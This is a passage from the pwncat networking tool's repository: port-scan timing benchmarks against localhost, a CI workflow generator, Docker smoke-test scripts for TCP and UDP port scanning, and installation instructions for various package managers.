open|filtered unknown 111 | 40488/udp open|filtered unknown 112 | 113 | Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds 114 | 115 | real 2m52.446s 116 | user 0m0.844s 117 | sys 0m2.571s 118 | 119 | netcat performance 120 | ------------------ 121 | 122 | .. code-block:: bash 123 | 124 | $ time nc -z localhost 1-65535 -u -4 -v 125 | Connection to localhost 68 port [udp/bootpc] succeeded! 126 | Connection to localhost 631 port [udp/ipp] succeeded! 127 | Connection to localhost 1053 port [udp/*] succeeded! 128 | Connection to localhost 5353 port [udp/mdns] succeeded! 129 | Connection to localhost 39856 port [udp/*] succeeded! 130 | 131 | real 0m18.734s 132 | user 0m1.004s 133 | sys 0m2.634s 134 | 135 | pwncat performance 136 | ------------------ 137 | 138 | .. code-block:: bash 139 | 140 | $ time pwncat -z localhost 1-65535 -u -4 141 | Scanning 65535 ports 142 | [+] 68/UDP open (IPv4) 143 | [+] 631/UDP open (IPv4) 144 | [+] 1053/UDP open (IPv4) 145 | [+] 5353/UDP open (IPv4) 146 | [+] 39856/UDP open (IPv4) 147 | 148 | real 0m7.309s 149 | user 0m6.465s 150 | sys 0m4.794s 151 | -------------------------------------------------------------------------------- /tests/pipelines/_gen-test.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPT_PATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | 9 | TPL_NAME="template-test.yml.tpl" 10 | TPL_PATH="${SCRIPT_PATH}/${TPL_NAME}" 11 | FLW_PATH="${SCRIPT_PATH}/../../.github/workflows" 12 | 13 | 14 | escape_for_sed() { 15 | local data="${1}" 16 | data="${data//\\/\\\\}" 17 | data="${data//\"/\\\"}" 18 | data="${data//\'/\\\'}" 19 | data="${data//\(/\\\(}" 20 | data="${data//\)/\\\)}" 21 | data="${data//\{/\\\{}" 22 | data="${data//\}/\\\}}" 23 | data="${data//\$/\\\$}" 24 | data="${data//\*/\\\*}" 25 | data="${data//\;/\\\;}" 26 | data="$( printf "%s" "${data}" | sed 's/$/__NL__/g' | tr -d '\n' )" 27 | echo "${data}" 28 | } 29 | 30 | ### 31 | ### Build Matrix 32 | ### 33 | VERSION_MATRIX=( 34 | "x64--ubuntu--x64--2.7" 35 | "x64--ubuntu--3.5" 36 | "x64--ubuntu--3.6" 37 | "x64--ubuntu--3.7" 38 | "x64--ubuntu--3.8" 39 | "x64--ubuntu--pypy2" 40 | "x64--ubuntu--pypy3" 41 | "x64--macos--2.7" 42 | "x64--macos--3.5" 43 | "x64--macos--3.6" 44 | "x64--macos--3.7" 45 | "x64--macos--3.8" 46 | "x64--macos--pypy2" 47 | "x64--macos--pypy3" 48 | "x64--windows--2.7" 49 | "x64--windows--3.5" 50 | "x64--windows--3.6" 51 | "x64--windows--3.7" 52 | "x64--windows--3.8" 53 | "x64--windows--pypy2" 54 | "x64--windows--pypy3" 55 | ) 56 | 57 | DISABLE_CRLF=( 58 | "x64--windows--2.7" 59 | "x64--windows--3.5" 60 | "x64--windows--3.6" 61 | "x64--windows--3.7" 62 | "x64--windows--3.8" 63 | "x64--windows--pypy2" 64 | "x64--windows--pypy3" 65 | ) 66 | 67 | ### 68 | ### Ensure old flows are removed 69 | ### 70 | rm -f "${FLW_PATH}/test-"* 71 | 72 | 73 | ### 74 | ### Replace with all 75 | ### 76 | RETRY_FUNCTION="$(cat <<-'END_HEREDOC' 77 | retry() { 78 | _make=${1} 79 | _target=${2} 80 | _host=${3:-localhost} 81 | _port=${4:-4444} 82 | _wait=${5:-5} 83 | _runs=${6:-1} 84 | for n in $(seq ${RETRIES}); do 85 | _port=$(( _port + n )) 86 | echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; 87 | if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then 88 | return 0; 89 | fi; 90 | sleep 10; 91 | done; 92 | return 1; 93 | } 94 | END_HEREDOC 95 | )" 96 | RETRY_FUNCTION="$( escape_for_sed "${RETRY_FUNCTION}" )" 97 | 98 | 99 | ### 100 | ### Ensure new flows are created 101 | ### 102 | for v in "${VERSION_MATRIX[@]}"; do 103 | arch="${v//--*/}" 104 | os="${v//${arch}--/}" 105 | os="${os//--*/}" 106 | py="${v//*--}" 107 | 108 | flw_file="${FLW_PATH}/test-${arch}-${os}-${py}.yml" 109 | flw_name="${os:0:3}-${py//pypy/py}" 110 | job_name="[${arch}] [${os}] python-${py}" 111 | 112 | printf "%s\\n" "-----------------------------------------------------------" 113 | printf "file: %s\\n" "${flw_file}" 114 | printf "flw name: %s\\n" "${flw_name}" 115 | printf "job name: %s\\n" "${job_name}" 116 | printf "OS: %s\\n" "${os}-latest" 117 | printf "Arch: %s\\n" "${arch}" 118 | printf "Python: %s\\n" "${py}" 119 | 120 | # Add custom jobs 121 | if [ "${os}" == "ubuntu" ]; then 122 | linux_jobs="" 123 | macos_jobs="" 124 | windows_jobs="" 125 | fi 126 | if [ "${os}" == "macos" ]; then 127 | linux_jobs="" 128 | macos_jobs="" 129 | windows_jobs="" 130 | fi 131 | if [ "${os}" == "windows" ]; then 132 | linux_jobs="" 133 | macos_jobs="" 134 | windows_jobs="$(cat <<-'END_HEREDOC' 135 | - name: Add bash to the Path 136 | run: | 137 | echo "::add-path::c:\msys64\mingw32\bin" 138 | echo "::add-path::c:\msys64\usr\bin" 139 | END_HEREDOC 140 | )" 141 | windows_jobs="$( escape_for_sed "${windows_jobs}" )" 142 | windows_jobs="" 143 | fi 144 | 145 | 146 | os="${os}-latest" 147 | #if [ "${os}" == "ubuntu" ]; then 148 | # os="${os}-16.04" 149 | #else 150 | # os="${os}-latest" 151 | #fi 152 | 153 | retry_func_crlf="${RETRY_FUNCTION}" 154 | # Disable comments for specific combinations 155 | crlf_comment="" 156 | # shellcheck disable=SC2076,SC2199 157 | if [[ " ${DISABLE_CRLF[@]} " =~ " ${v} " ]]; then 158 | crlf_comment="#" 159 | retry_func_crlf="" 160 | fi 161 | 162 | # shellcheck disable=SC2002 163 | cat "${TPL_PATH}" \ 164 | | sed "s/__DISABLE_CRLF__/${crlf_comment}/g" \ 165 | | sed "s|__RETRY_FUNCTION_CRLF__|${retry_func_crlf}|g" \ 166 | | sed "s|__RETRY_FUNCTION__|${RETRY_FUNCTION}|g" \ 167 | | sed "s/__WORKFLOW_NAME__/${flw_name}/g" \ 168 | | sed "s/__OS__/${os}/g" \ 169 | | sed "s/__PYTHON_VERSION__/${py}/g" \ 170 | | sed "s/__JOB_NAME__/${job_name}/g" \ 171 | | sed "s/__ARCHITECTURE__/${arch}/g" \ 172 | | sed "s#__LINUX_JOBS__#${linux_jobs}#g" \ 173 | | sed "s#__MACOS_JOBS__#${macos_jobs}#g" \ 174 | | sed "s#__WINDOWS_JOBS__#${windows_jobs}#g" \ 175 | | sed "s/__NL__/\\n/g" \ 176 | > "${flw_file}" 177 | done 178 | -------------------------------------------------------------------------------- /tests/smoke/300---tcp---port_scan---no_banner/run.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" 9 | COMPOSEDIR="${SCRIPTPATH}/" 10 | # shellcheck disable=SC1090 11 | source "${SOURCEPATH}" 12 | 13 | 14 | # ------------------------------------------------------------------------------------------------- 15 | # SETTINGS 16 | # ------------------------------------------------------------------------------------------------- 17 | WAIT_STARTUP=7 18 | WAIT_SHUTDOWN=15 19 | NAME1="scanner" 20 | 21 | # ------------------------------------------------------------------------------------------------- 22 | # CHECKS 23 | # ------------------------------------------------------------------------------------------------- 24 | 25 | COMPOSE="" 26 | PYTHON_VERSION="${1:-3.8}" 27 | COMPOSEDIR="${SCRIPTPATH}/${COMPOSE}" 28 | 29 | if [ ! -f "${COMPOSEDIR}/docker-compose.yml" ]; then 30 | print_error "docker-compose.yml not found in: ${COMPOSEDIR}/docker-compose.yml." 31 | exit 1 32 | fi 33 | if ! command -v docker >/dev/null 2>&1; then 34 | print_error "docker binary not found, but required." 35 | exit 1 36 | fi 37 | if ! command -v docker-compose >/dev/null 2>&1; then 38 | print_error "docker-compose binary not found, but required." 39 | exit 1 40 | fi 41 | 42 | 43 | # ------------------------------------------------------------------------------------------------- 44 | # APPLY VERSION 45 | # ------------------------------------------------------------------------------------------------- 46 | 47 | echo "PYTHON_VERSION=${PYTHON_VERSION}" > "${COMPOSEDIR}/.env" 48 | print_test_case "Python ${PYTHON_VERSION}" 49 | 50 | 51 | # ------------------------------------------------------------------------------------------------- 52 | # GET ARTIFACTS 53 | # ------------------------------------------------------------------------------------------------- 54 | print_h2 "(1/5) Get artifacts" 55 | 56 | cd "${COMPOSEDIR}" 57 | 58 | # shellcheck disable=SC2050 59 | while [ "1" -eq "1" ]; do 60 | if run "docker-compose pull"; then 61 | break 62 | fi 63 | sleep 1 64 | done 65 | 66 | 67 | # ------------------------------------------------------------------------------------------------- 68 | # CLEAN UP 69 | # ------------------------------------------------------------------------------------------------- 70 | print_h2 "(1/5) Stopping Docker Compose" 71 | 72 | run "docker-compose kill || true 2>/dev/null" 73 | run "docker-compose rm -f || true 2>/dev/null" 74 | 75 | 76 | # ------------------------------------------------------------------------------------------------- 77 | # START 78 | # ------------------------------------------------------------------------------------------------- 79 | print_h2 "(2/5) Starting compose" 80 | 81 | cd "${COMPOSEDIR}" 82 | run "docker-compose up -d" 83 | run "sleep ${WAIT_STARTUP}" 84 | 85 | 86 | # ------------------------------------------------------------------------------------------------- 87 | # VALIDATE 88 | # ------------------------------------------------------------------------------------------------- 89 | print_h2 "(3/5) Validate running" 90 | 91 | if ! run "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then 92 | run "docker-compose logs" 93 | run "docker-compose ps" 94 | run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" 95 | run "docker-compose kill || true 2>/dev/null" 96 | run "docker-compose rm -f || true 2>/dev/null" 97 | print_error "Server is not running" 98 | exit 1 99 | fi 100 | 101 | run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" 102 | 103 | 104 | # ------------------------------------------------------------------------------------------------- 105 | # TEST 106 | # ------------------------------------------------------------------------------------------------- 107 | print_h2 "(4/5) Test" 108 | 109 | if ! run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} kill -2 1"; then 110 | run "docker-compose logs" 111 | run "docker-compose ps" 112 | run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" 113 | run "docker-compose kill || true 2>/dev/null" 114 | run "docker-compose rm -f || true 2>/dev/null" 115 | print_error "Kill command not successful" 116 | exit 1 117 | fi 118 | 119 | run "sleep ${WAIT_SHUTDOWN}" 120 | run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" 121 | 122 | 123 | 124 | if ! run_fail "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then 125 | run "docker-compose logs" 126 | run "docker-compose ps" 127 | run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" 128 | run "docker-compose kill || true 2>/dev/null" 129 | run "docker-compose rm -f || true 2>/dev/null" 130 | print_error "Server was supposed to stop, it is running" 131 | exit 1 132 | fi 133 | 134 | 135 | # ------------------------------------------------------------------------------------------------- 136 | # CLEAN UP 137 | # ------------------------------------------------------------------------------------------------- 138 | print_h2 "(5/5) Stopping Docker Compose" 139 | 140 | run "docker-compose logs" 141 | run "docker-compose ps" 142 | run "docker-compose kill || true 2>/dev/null" 143 | run "docker-compose rm -f || true 2>/dev/null" 144 | -------------------------------------------------------------------------------- /tests/smoke/302---udp---port_scan---no_banner/run.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" 9 | COMPOSEDIR="${SCRIPTPATH}/" 10 | # shellcheck disable=SC1090 11 | source "${SOURCEPATH}" 12 | 13 | 14 | # ------------------------------------------------------------------------------------------------- 15 | # SETTINGS 16 | # ------------------------------------------------------------------------------------------------- 17 | WAIT_STARTUP=7 18 | WAIT_SHUTDOWN=20 19 | NAME1="scanner" 20 | 21 | # ------------------------------------------------------------------------------------------------- 22 | # CHECKS 23 | # ------------------------------------------------------------------------------------------------- 24 | 25 | COMPOSE="" 26 | PYTHON_VERSION="${1:-3.8}" 27 | COMPOSEDIR="${SCRIPTPATH}/${COMPOSE}" 28 | 29 | if [ ! -f "${COMPOSEDIR}/docker-compose.yml" ]; then 30 | print_error "docker-compose.yml not found in: ${COMPOSEDIR}/docker-compose.yml." 31 | exit 1 32 | fi 33 | if ! command -v docker >/dev/null 2>&1; then 34 | print_error "docker binary not found, but required." 35 | exit 1 36 | fi 37 | if ! command -v docker-compose >/dev/null 2>&1; then 38 | print_error "docker-compose binary not found, but required." 39 | exit 1 40 | fi 41 | 42 | 43 | # ------------------------------------------------------------------------------------------------- 44 | # APPLY VERSION 45 | # ------------------------------------------------------------------------------------------------- 46 | 47 | echo "PYTHON_VERSION=${PYTHON_VERSION}" > "${COMPOSEDIR}/.env" 48 | print_test_case "Python ${PYTHON_VERSION}" 49 | 50 | 51 | # ------------------------------------------------------------------------------------------------- 52 | # GET ARTIFACTS 53 | # ------------------------------------------------------------------------------------------------- 54 | print_h2 "(1/5) Get artifacts" 55 | 56 | cd "${COMPOSEDIR}" 57 | 58 | # shellcheck disable=SC2050 59 | while [ "1" -eq "1" ]; do 60 | if run "docker-compose pull"; then 61 | break 62 | fi 63 | sleep 1 64 | done 65 | 66 | 67 | # ------------------------------------------------------------------------------------------------- 68 | # CLEAN UP 69 | # ------------------------------------------------------------------------------------------------- 70 | print_h2 "(1/5) Stopping Docker Compose" 71 | 72 | run "docker-compose kill || true 2>/dev/null" 73 | run "docker-compose rm -f || true 2>/dev/null" 74 | 75 | 76 | # ------------------------------------------------------------------------------------------------- 77 | # START 78 | # ------------------------------------------------------------------------------------------------- 79 | print_h2 "(2/5) Starting compose" 80 | 81 | cd "${COMPOSEDIR}" 82 | run "docker-compose up -d" 83 | run "sleep ${WAIT_STARTUP}" 84 | 85 | 86 | # ------------------------------------------------------------------------------------------------- 87 | # VALIDATE 88 | # ------------------------------------------------------------------------------------------------- 89 | print_h2 "(3/5) Validate running" 90 | 91 | if ! run "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then 92 | run "docker-compose logs" 93 | run "docker-compose ps" 94 | run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" 95 | run "docker-compose kill || true 2>/dev/null" 96 | run "docker-compose rm -f || true 2>/dev/null" 97 | print_error "Server is not running" 98 | exit 1 99 | fi 100 | 101 | run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" 102 | 103 | 104 | # ------------------------------------------------------------------------------------------------- 105 | # TEST 106 | # ------------------------------------------------------------------------------------------------- 107 | print_h2 "(4/5) Test" 108 | 109 | if ! run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} kill -2 1"; then 110 | run "docker-compose logs" 111 | run "docker-compose ps" 112 | run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" 113 | run "docker-compose kill || true 2>/dev/null" 114 | run "docker-compose rm -f || true 2>/dev/null" 115 | print_error "Kill command not successful" 116 | exit 1 117 | fi 118 | 119 | run "sleep ${WAIT_SHUTDOWN}" 120 | run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" 121 | 122 | 123 | 124 | if ! run_fail "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then 125 | run "docker-compose logs" 126 | run "docker-compose ps" 127 | run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" 128 | run "docker-compose kill || true 2>/dev/null" 129 | run "docker-compose rm -f || true 2>/dev/null" 130 | print_error "Server was supposed to stop, it is running" 131 | exit 1 132 | fi 133 | 134 | 135 | # ------------------------------------------------------------------------------------------------- 136 | # CLEAN UP 137 | # ------------------------------------------------------------------------------------------------- 138 | print_h2 "(5/5) Stopping Docker Compose" 139 | 140 | run "docker-compose logs" 141 | run "docker-compose ps" 142 | run "docker-compose kill || true 2>/dev/null" 143 | run "docker-compose rm -f || true 2>/dev/null" 144 | -------------------------------------------------------------------------------- /tests/smoke/301---tcp---port_scan---with_banner/run.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" 9 | COMPOSEDIR="${SCRIPTPATH}/" 10 | # shellcheck disable=SC1090 11 | source "${SOURCEPATH}" 12 | 13 | 14 | # ------------------------------------------------------------------------------------------------- 15 | # SETTINGS 16 | # ------------------------------------------------------------------------------------------------- 17 | WAIT_STARTUP=7 18 | WAIT_SHUTDOWN=15 19 | NAME1="scanner" 20 | 21 | # ------------------------------------------------------------------------------------------------- 22 | # CHECKS 23 | # ------------------------------------------------------------------------------------------------- 24 | 25 | COMPOSE="" 26 | PYTHON_VERSION="${1:-3.8}" 27 | COMPOSEDIR="${SCRIPTPATH}/${COMPOSE}" 28 | 29 | if [ ! -f "${COMPOSEDIR}/docker-compose.yml" ]; then 30 | print_error "docker-compose.yml not found in: ${COMPOSEDIR}/docker-compose.yml." 31 | exit 1 32 | fi 33 | if ! command -v docker >/dev/null 2>&1; then 34 | print_error "docker binary not found, but required." 35 | exit 1 36 | fi 37 | if ! command -v docker-compose >/dev/null 2>&1; then 38 | print_error "docker-compose binary not found, but required." 39 | exit 1 40 | fi 41 | 42 | 43 | # ------------------------------------------------------------------------------------------------- 44 | # APPLY VERSION 45 | # ------------------------------------------------------------------------------------------------- 46 | 47 | echo "PYTHON_VERSION=${PYTHON_VERSION}" > "${COMPOSEDIR}/.env" 48 | print_test_case "Python ${PYTHON_VERSION}" 49 | 50 | 51 | # ------------------------------------------------------------------------------------------------- 52 | # GET ARTIFACTS 53 | # ------------------------------------------------------------------------------------------------- 54 | print_h2 "(1/5) Get artifacts" 55 | 56 | cd "${COMPOSEDIR}" 57 | 58 | # shellcheck disable=SC2050 59 | while [ "1" -eq "1" ]; do 60 | if run "docker-compose pull"; then 61 | break 62 | fi 63 | sleep 1 64 | done 65 | 66 | 67 | # ------------------------------------------------------------------------------------------------- 68 | # CLEAN UP 69 | # ------------------------------------------------------------------------------------------------- 70 | print_h2 "(1/5) Stopping Docker Compose" 71 | 72 | run "docker-compose kill || true 2>/dev/null" 73 | run "docker-compose rm -f || true 2>/dev/null" 74 | 75 | 76 | # ------------------------------------------------------------------------------------------------- 77 | # START 78 | # ------------------------------------------------------------------------------------------------- 79 | print_h2 "(2/5) Starting compose" 80 | 81 | cd "${COMPOSEDIR}" 82 | run "docker-compose up -d" 83 | run "sleep ${WAIT_STARTUP}" 84 | 85 | 86 | # ------------------------------------------------------------------------------------------------- 87 | # VALIDATE 88 | # ------------------------------------------------------------------------------------------------- 89 | print_h2 "(3/5) Validate running" 90 | 91 | if ! run "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then 92 | run "docker-compose logs" 93 | run "docker-compose ps" 94 | run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" 95 | run "docker-compose kill || true 2>/dev/null" 96 | run "docker-compose rm -f || true 2>/dev/null" 97 | print_error "Server is not running" 98 | exit 1 99 | fi 100 | 101 | run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" 102 | 103 | 104 | # ------------------------------------------------------------------------------------------------- 105 | # TEST 106 | # ------------------------------------------------------------------------------------------------- 107 | print_h2 "(4/5) Test" 108 | 109 | if ! run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} kill -2 1"; then 110 | run "docker-compose logs" 111 | run "docker-compose ps" 112 | run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" 113 | run "docker-compose kill || true 2>/dev/null" 114 | run "docker-compose rm -f || true 2>/dev/null" 115 | print_error "Kill command not successful" 116 | exit 1 117 | fi 118 | 119 | run "sleep ${WAIT_SHUTDOWN}" 120 | run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" 121 | 122 | 123 | 124 | if ! run_fail "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then 125 | run "docker-compose logs" 126 | run "docker-compose ps" 127 | run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" 128 | run "docker-compose kill || true 2>/dev/null" 129 | run "docker-compose rm -f || true 2>/dev/null" 130 | print_error "Server was supposed to stop, it is running" 131 | exit 1 132 | fi 133 | 134 | 135 | # ------------------------------------------------------------------------------------------------- 136 | # CLEAN UP 137 | # ------------------------------------------------------------------------------------------------- 138 | print_h2 "(5/5) Stopping Docker Compose" 139 | 140 | run "docker-compose logs" 141 | run "docker-compose ps" 142 | run "docker-compose kill || true 2>/dev/null" 143 | run "docker-compose rm -f || true 2>/dev/null" 144 | -------------------------------------------------------------------------------- /tests/smoke/303---udp---port_scan---with_banner/run.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" 9 | COMPOSEDIR="${SCRIPTPATH}/" 10 | # shellcheck disable=SC1090 11 | source "${SOURCEPATH}" 12 | 13 | 14 | # ------------------------------------------------------------------------------------------------- 15 | # SETTINGS 16 | # ------------------------------------------------------------------------------------------------- 17 | WAIT_STARTUP=7 18 | WAIT_SHUTDOWN=20 19 | NAME1="scanner" 20 | 21 | # ------------------------------------------------------------------------------------------------- 22 | # CHECKS 23 | # ------------------------------------------------------------------------------------------------- 24 | 25 | COMPOSE="" 26 | PYTHON_VERSION="${1:-3.8}" 27 | COMPOSEDIR="${SCRIPTPATH}/${COMPOSE}" 28 | 29 | if [ ! -f "${COMPOSEDIR}/docker-compose.yml" ]; then 30 | print_error "docker-compose.yml not found in: ${COMPOSEDIR}/docker-compose.yml." 31 | exit 1 32 | fi 33 | if ! command -v docker >/dev/null 2>&1; then 34 | print_error "docker binary not found, but required." 35 | exit 1 36 | fi 37 | if ! command -v docker-compose >/dev/null 2>&1; then 38 | print_error "docker-compose binary not found, but required." 39 | exit 1 40 | fi 41 | 42 | 43 | # ------------------------------------------------------------------------------------------------- 44 | # APPLY VERSION 45 | # ------------------------------------------------------------------------------------------------- 46 | 47 | echo "PYTHON_VERSION=${PYTHON_VERSION}" > "${COMPOSEDIR}/.env" 48 | print_test_case "Python ${PYTHON_VERSION}" 49 | 50 | 51 | # ------------------------------------------------------------------------------------------------- 52 | # GET ARTIFACTS 53 | # ------------------------------------------------------------------------------------------------- 54 | print_h2 "(1/5) Get artifacts" 55 | 56 | cd "${COMPOSEDIR}" 57 | 58 | # shellcheck disable=SC2050 59 | while [ "1" -eq "1" ]; do 60 | if run "docker-compose pull"; then 61 | break 62 | fi 63 | sleep 1 64 | done 65 | 66 | 67 | # ------------------------------------------------------------------------------------------------- 68 | # CLEAN UP 69 | # ------------------------------------------------------------------------------------------------- 70 | print_h2 "(1/5) Stopping Docker Compose" 71 | 72 | run "docker-compose kill || true 2>/dev/null" 73 | run "docker-compose rm -f || true 2>/dev/null" 74 | 75 | 76 | # ------------------------------------------------------------------------------------------------- 77 | # START 78 | # ------------------------------------------------------------------------------------------------- 79 | print_h2 "(2/5) Starting compose" 80 | 81 | cd "${COMPOSEDIR}" 82 | run "docker-compose up -d" 83 | run "sleep ${WAIT_STARTUP}" 84 | 85 | 86 | # ------------------------------------------------------------------------------------------------- 87 | # VALIDATE 88 | # ------------------------------------------------------------------------------------------------- 89 | print_h2 "(3/5) Validate running" 90 | 91 | if ! run "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then 92 | run "docker-compose logs" 93 | run "docker-compose ps" 94 | run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" 95 | run "docker-compose kill || true 2>/dev/null" 96 | run "docker-compose rm -f || true 2>/dev/null" 97 | print_error "Server is not running" 98 | exit 1 99 | fi 100 | 101 | run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" 102 | 103 | 104 | # ------------------------------------------------------------------------------------------------- 105 | # TEST 106 | # ------------------------------------------------------------------------------------------------- 107 | print_h2 "(4/5) Test" 108 | 109 | if ! run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} kill -2 1"; then 110 | run "docker-compose logs" 111 | run "docker-compose ps" 112 | run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" 113 | run "docker-compose kill || true 2>/dev/null" 114 | run "docker-compose rm -f || true 2>/dev/null" 115 | print_error "Kill command not successful" 116 | exit 1 117 | fi 118 | 119 | run "sleep ${WAIT_SHUTDOWN}" 120 | run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" 121 | 122 | 123 | 124 | if ! run_fail "docker-compose ps --filter 'status=running' --services | grep ${NAME1}"; then 125 | run "docker-compose logs" 126 | run "docker-compose ps" 127 | run "docker-compose exec $( tty -s && echo || echo '-T' ) ${NAME1} ps || true" 128 | run "docker-compose kill || true 2>/dev/null" 129 | run "docker-compose rm -f || true 2>/dev/null" 130 | print_error "Server was supposed to stop, it is running" 131 | exit 1 132 | fi 133 | 134 | 135 | # ------------------------------------------------------------------------------------------------- 136 | # CLEAN UP 137 | # ------------------------------------------------------------------------------------------------- 138 | print_h2 "(5/5) Stopping Docker Compose" 139 | 140 | run "docker-compose logs" 141 | run "docker-compose ps" 142 | run "docker-compose kill || true 2>/dev/null" 143 | run "docker-compose rm -f || true 2>/dev/null" 144 | -------------------------------------------------------------------------------- /share/doc/installation.rst: -------------------------------------------------------------------------------- 1 | .. |img_lnk_logo_github| raw:: html 2 | 3 | 4 | 5 | 6 | 7 | .. |img_lnk_logo_pip| raw:: html 8 | 9 | 10 | 11 | 12 | 13 | .. |img_lnk_logo_mac| raw:: html 14 | 15 | 16 | 17 | 18 | 19 | .. |img_lnk_logo_arch| raw:: html 20 | 21 | 22 | 23 | 24 | 25 | .. |img_lnk_logo_blackarch| raw:: html 26 | 27 | 28 | 29 | 30 | 31 | .. |img_lnk_logo_centos| raw:: html 32 | 33 | 34 | 35 | 36 | 37 | .. |img_lnk_logo_fedora| raw:: html 38 | 39 | 40 | 41 | 42 | 43 | .. |img_lnk_logo_kali| raw:: html 44 | 45 | 46 | 47 | 48 | 49 | .. |img_lnk_logo_nixos| raw:: html 50 | 51 | 52 | 53 | 54 | 55 | .. |img_lnk_logo_oracle| raw:: html 56 | 57 | 58 | 59 | 60 | 61 | .. |img_lnk_logo_parrot| raw:: html 62 | 63 | 64 | 65 | 66 | 67 | .. |img_lnk_logo_pentoo| raw:: html 68 | 69 | 70 | 71 | 72 | 73 | 74 | .. _installation: 75 | 76 | ************ 77 | Installation 78 | ************ 79 | 80 | 81 | .. contents:: Table of Contents 82 | :local: 83 | :class: local-toc 84 | 85 | 86 | Generic Installation 87 | ==================== 88 | 89 | `pwncat `_ can be installed easily via `pip `_ or from `GitHub `_ on **BSD**, **Linux**, **MacOS** or **Windows**. 90 | 91 | 92 | .. list-table:: 93 | :widths: 25 25 94 | :header-rows: 1 95 | :class: install 96 | 97 | * - Pip 98 | - GitHub 99 | * - |img_lnk_logo_pip| 100 | - |img_lnk_logo_github| 101 | * - ``pip install pwncat`` 102 | - `cytopia/pwncat `_ 103 | 104 | 105 | Specific Installation 106 | ===================== 107 | 108 | Alternatively ``pwncat`` can also be installed with your operating system's package manager of choice. 109 | 110 | 111 | Linux 112 | ----- 113 | 114 | .. list-table:: 115 | :widths: 25 25 25 25 116 | :header-rows: 1 117 | :class: install 118 | 119 | * - Arch Linux 120 | - BlackArch 121 | - CentOS 122 | - Fedora 123 | * - |img_lnk_logo_arch| 124 | - |img_lnk_logo_blackarch| 125 | - |img_lnk_logo_centos| 126 | - |img_lnk_logo_fedora| 127 | * - ``yay -S pwncat`` 128 | - ``pacman -S pwncat`` 129 | - ``yum install pwncat`` 130 | - ``dnf install pwncat`` 131 | 132 | .. list-table:: 133 | :widths: 25 25 25 25 134 | :header-rows: 1 135 | :class: install 136 | 137 | * - Kali Linux 138 | - NixOS 139 | - Oracle Linux 140 | - Parrot OS 141 | * - |img_lnk_logo_kali| 142 | - |img_lnk_logo_nixos| 143 | - |img_lnk_logo_oracle| 144 | - |img_lnk_logo_parrot| 145 | * - ``apt install pwncat`` 146 | - ``nixos.pwncat`` 147 | - ``yum install pwncat`` 148 | - ``apt install pwncat`` 149 | 150 | 151 | .. list-table:: 152 | :widths: 25 153 | :header-rows: 1 154 | :class: install 155 | 156 | * - Pentoo 157 | * - |img_lnk_logo_pentoo| 158 | * - ``net-analyzer/pwncat`` 159 | 160 | 161 | MacOS 162 | ----- 163 | 164 | .. list-table:: 165 | :widths: 25 166 | :header-rows: 1 167 | :class: install 168 | 169 | * - MacOS 170 | * - |img_lnk_logo_mac| 171 | * - ``brew install pwncat`` 172 | 173 | 174 | Windows 175 | ------- 176 | 177 | There is currently no package for 